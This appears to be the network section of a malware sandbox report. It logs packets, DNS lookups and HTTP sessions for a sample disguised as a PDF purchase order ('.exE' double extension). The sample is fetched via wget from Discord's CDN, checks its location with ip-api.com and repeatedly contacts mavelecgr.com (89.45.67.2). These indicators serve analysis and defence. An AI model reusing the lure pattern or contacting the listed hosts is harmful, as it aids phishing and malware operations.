Feb 22, 2023 09:44:18.447582006 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.447655916 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.447731018 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.448322058 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.448370934 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.448425055 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.448462009 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.448472023 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.448556900 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.483846903 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.483949900 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.486721992 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486757040 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486771107 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486838102 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486874104 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486876011 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.486984015 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.486999989 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.487270117 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.489236116 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.489262104 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.489275932 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.489315987 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.489317894 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:18.490231037 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.490253925 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.490314007 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.490525007 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.490674019 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.490762949 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.491349936 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.491369009 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.491401911 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.527009964 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.527055025 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.529891968 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.530155897 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.532258987 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.537681103 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:18.611792088 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:19.676800013 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:19.719872952 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:19.719990969 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:19.763212919 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:19.763372898 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:19.806505919 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:19.809361935 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:19.861871004 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.254250050 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.301876068 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:20.336647987 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.346245050 CET	49729	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.381149054 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:20.381984949 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.425347090 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:20.426652908 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.469894886 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:20.469938040 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:20.611980915 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.994455099 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.994553089 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:20.994586945 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.038431883 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.038463116 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.038480043 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.038499117 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.038599968 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.038682938 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.038768053 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.038830042 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.077125072 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.077218056 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081731081 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081752062 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081769943 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081787109 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081816912 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081854105 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081852913 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081852913 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081875086 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081921101 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081921101 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081921101 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081955910 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.081967115 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.081984997 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.082027912 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.082046986 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.082087994 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.082139015 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.120384932 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.120553017 CET	49730	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:21.124954939 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.124978065 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.124995947 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125014067 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125030994 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125049114 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125066042 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125176907 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125195980 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125252962 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125291109 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125329971 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125452042 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125530958 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125617981 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125638008 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.125693083 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:21.163820982 CET	80	49730	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:23.841814995 CET	80	49723	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:23.842003107 CET	49723	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:28.100516081 CET	80	49726	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:28.100613117 CET	49726	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:29.794783115 CET	80	49728	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:29.796253920 CET	49728	80	192.168.2.3	89.45.67.2
Feb 22, 2023 09:44:31.796888113 CET	80	49729	89.45.67.2	192.168.2.3
Feb 22, 2023 09:44:31.797034979 CET	49729	80	192.168.2.3	89.45.67.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 22, 2023 09:42:08.435911894 CET	58921	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:08.457287073 CET	53	58921	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:31.124270916 CET	49977	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:31.150325060 CET	53	49977	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:38.959397078 CET	57840	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:38.978882074 CET	53	57840	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:42.368619919 CET	57990	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:42.395699024 CET	53	57990	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:54.806242943 CET	52387	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:54.837490082 CET	53	52387	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:55.820255995 CET	56924	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:55.846190929 CET	53	56924	8.8.8.8	192.168.2.3
Feb 22, 2023 09:42:57.560781956 CET	60625	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:42:57.588385105 CET	53	60625	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:15.420310974 CET	49302	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:15.444957972 CET	53	49302	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:20.634381056 CET	53975	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:20.662568092 CET	53	53975	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:25.105277061 CET	51139	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:25.130527020 CET	53	51139	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:26.886652946 CET	52955	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:26.904514074 CET	53	52955	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:27.677557945 CET	60582	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:27.716171026 CET	53	60582	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:30.540676117 CET	57134	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:30.560172081 CET	53	57134	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:35.673362970 CET	62050	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:35.695221901 CET	53	62050	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:36.944116116 CET	56042	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:36.975346088 CET	53	56042	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:42.469799042 CET	59636	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:42.489190102 CET	53	59636	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:47.603059053 CET	55638	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:47.620846987 CET	53	55638	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:53.818686008 CET	57704	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:53.837795973 CET	53	57704	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:55.340708017 CET	65320	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:55.369254112 CET	53	65320	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:57.031400919 CET	60767	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:57.046190023 CET	65107	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:57.050968885 CET	53	60767	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:57.065538883 CET	53	65107	8.8.8.8	192.168.2.3
Feb 22, 2023 09:43:57.215718985 CET	53848	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:43:57.235477924 CET	53	53848	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:06.707642078 CET	57571	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:06.725130081 CET	53	57571	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:06.898842096 CET	58691	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:06.918446064 CET	53	58691	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:12.764930964 CET	53305	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:12.794717073 CET	53	53305	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:12.794734001 CET	59433	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:12.814610004 CET	53	59433	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:13.334393978 CET	60749	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:13.363787889 CET	53	60749	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:15.402923107 CET	56949	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:15.420604944 CET	53	56949	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:15.973417997 CET	52547	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:15.991034985 CET	53	52547	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:16.331352949 CET	53844	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:16.355143070 CET	53	53844	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:17.678945065 CET	65017	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:17.700027943 CET	53	65017	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:19.656860113 CET	53466	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:19.674559116 CET	53	53466	8.8.8.8	192.168.2.3
Feb 22, 2023 09:44:20.314397097 CET	57743	53	192.168.2.3	8.8.8.8
Feb 22, 2023 09:44:20.335937977 CET	53	57743	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 22, 2023 09:42:08.435911894 CET	192.168.2.3	8.8.8.8	0xe2fb	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:31.124270916 CET	192.168.2.3	8.8.8.8	0x7347	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:38.959397078 CET	192.168.2.3	8.8.8.8	0xd88e	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:42.368619919 CET	192.168.2.3	8.8.8.8	0x5bf0	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:54.806242943 CET	192.168.2.3	8.8.8.8	0x6734	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:55.820255995 CET	192.168.2.3	8.8.8.8	0x4e39	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:57.560781956 CET	192.168.2.3	8.8.8.8	0x4195	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:15.420310974 CET	192.168.2.3	8.8.8.8	0x1662	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:20.634381056 CET	192.168.2.3	8.8.8.8	0x6b21	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:25.105277061 CET	192.168.2.3	8.8.8.8	0x7471	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:26.886652946 CET	192.168.2.3	8.8.8.8	0xf002	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:27.677557945 CET	192.168.2.3	8.8.8.8	0x5d27	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:30.540676117 CET	192.168.2.3	8.8.8.8	0x445f	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:35.673362970 CET	192.168.2.3	8.8.8.8	0x2423	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:36.944116116 CET	192.168.2.3	8.8.8.8	0xea7a	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:42.469799042 CET	192.168.2.3	8.8.8.8	0xcbf4	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:47.603059053 CET	192.168.2.3	8.8.8.8	0xac18	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:53.818686008 CET	192.168.2.3	8.8.8.8	0x8c44	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:55.340708017 CET	192.168.2.3	8.8.8.8	0x13d6	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.031400919 CET	192.168.2.3	8.8.8.8	0xfb41	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.046190023 CET	192.168.2.3	8.8.8.8	0xc698	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.215718985 CET	192.168.2.3	8.8.8.8	0x9f67	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:06.707642078 CET	192.168.2.3	8.8.8.8	0xf857	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:06.898842096 CET	192.168.2.3	8.8.8.8	0xda3b	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:12.764930964 CET	192.168.2.3	8.8.8.8	0x37fb	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:12.794734001 CET	192.168.2.3	8.8.8.8	0xc0fc	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:13.334393978 CET	192.168.2.3	8.8.8.8	0xe723	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:15.402923107 CET	192.168.2.3	8.8.8.8	0x9262	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:15.973417997 CET	192.168.2.3	8.8.8.8	0x43d8	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:16.331352949 CET	192.168.2.3	8.8.8.8	0x638a	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:17.678945065 CET	192.168.2.3	8.8.8.8	0x40c5	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:19.656860113 CET	192.168.2.3	8.8.8.8	0xebf7	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:20.314397097 CET	192.168.2.3	8.8.8.8	0xe0f8	Standard query (0)	mavelecgr.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Feb 22, 2023 09:42:03.599972963 CET	8.8.8.8	192.168.2.3	0x89d8	No error (0)	windowsupdatebg.s.llnwi.net	178.79.225.128	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:03.599972963 CET	8.8.8.8	192.168.2.3	0x89d8	No error (0)	windowsupdatebg.s.llnwi.net	95.140.230.128	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:08.457287073 CET	8.8.8.8	192.168.2.3	0xe2fb	No error (0)	cdn.discordapp.com	162.159.135.233	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:08.457287073 CET	8.8.8.8	192.168.2.3	0xe2fb	No error (0)	cdn.discordapp.com	162.159.134.233	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:08.457287073 CET	8.8.8.8	192.168.2.3	0xe2fb	No error (0)	cdn.discordapp.com	162.159.129.233	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:08.457287073 CET	8.8.8.8	192.168.2.3	0xe2fb	No error (0)	cdn.discordapp.com	162.159.133.233	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:08.457287073 CET	8.8.8.8	192.168.2.3	0xe2fb	No error (0)	cdn.discordapp.com	162.159.130.233	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:31.150325060 CET	8.8.8.8	192.168.2.3	0x7347	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:38.978882074 CET	8.8.8.8	192.168.2.3	0xd88e	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:42.395699024 CET	8.8.8.8	192.168.2.3	0x5bf0	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:54.837490082 CET	8.8.8.8	192.168.2.3	0x6734	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:55.846190929 CET	8.8.8.8	192.168.2.3	0x4e39	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:42:57.588385105 CET	8.8.8.8	192.168.2.3	0x4195	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:15.444957972 CET	8.8.8.8	192.168.2.3	0x1662	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:20.662568092 CET	8.8.8.8	192.168.2.3	0x6b21	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:25.130527020 CET	8.8.8.8	192.168.2.3	0x7471	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:26.904514074 CET	8.8.8.8	192.168.2.3	0xf002	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:27.716171026 CET	8.8.8.8	192.168.2.3	0x5d27	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:30.560172081 CET	8.8.8.8	192.168.2.3	0x445f	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:35.695221901 CET	8.8.8.8	192.168.2.3	0x2423	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:36.975346088 CET	8.8.8.8	192.168.2.3	0xea7a	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:42.489190102 CET	8.8.8.8	192.168.2.3	0xcbf4	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:47.620846987 CET	8.8.8.8	192.168.2.3	0xac18	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:53.837795973 CET	8.8.8.8	192.168.2.3	0x8c44	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:55.369254112 CET	8.8.8.8	192.168.2.3	0x13d6	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.050968885 CET	8.8.8.8	192.168.2.3	0xfb41	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.065538883 CET	8.8.8.8	192.168.2.3	0xc698	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:43:57.235477924 CET	8.8.8.8	192.168.2.3	0x9f67	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:06.725130081 CET	8.8.8.8	192.168.2.3	0xf857	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:06.918446064 CET	8.8.8.8	192.168.2.3	0xda3b	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:12.794717073 CET	8.8.8.8	192.168.2.3	0x37fb	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:12.814610004 CET	8.8.8.8	192.168.2.3	0xc0fc	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:13.363787889 CET	8.8.8.8	192.168.2.3	0xe723	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:15.420604944 CET	8.8.8.8	192.168.2.3	0x9262	No error (0)	ip-api.com	208.95.112.1	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:15.991034985 CET	8.8.8.8	192.168.2.3	0x43d8	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:16.355143070 CET	8.8.8.8	192.168.2.3	0x638a	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:17.700027943 CET	8.8.8.8	192.168.2.3	0x40c5	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:19.674559116 CET	8.8.8.8	192.168.2.3	0xebf7	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false
Feb 22, 2023 09:44:20.335937977 CET	8.8.8.8	192.168.2.3	0xe0f8	No error (0)	mavelecgr.com	89.45.67.2	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cdn.discordapp.com

ip-api.com

mavelecgr.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49696	162.159.135.233	443	C:\Windows\SysWOW64\wget.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49699	208.95.112.1	80	C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Timestamp	kBytes transferred	Direction	Data
Feb 22, 2023 09:42:31.204432964 CET	1078	OUT	GET /json/ HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
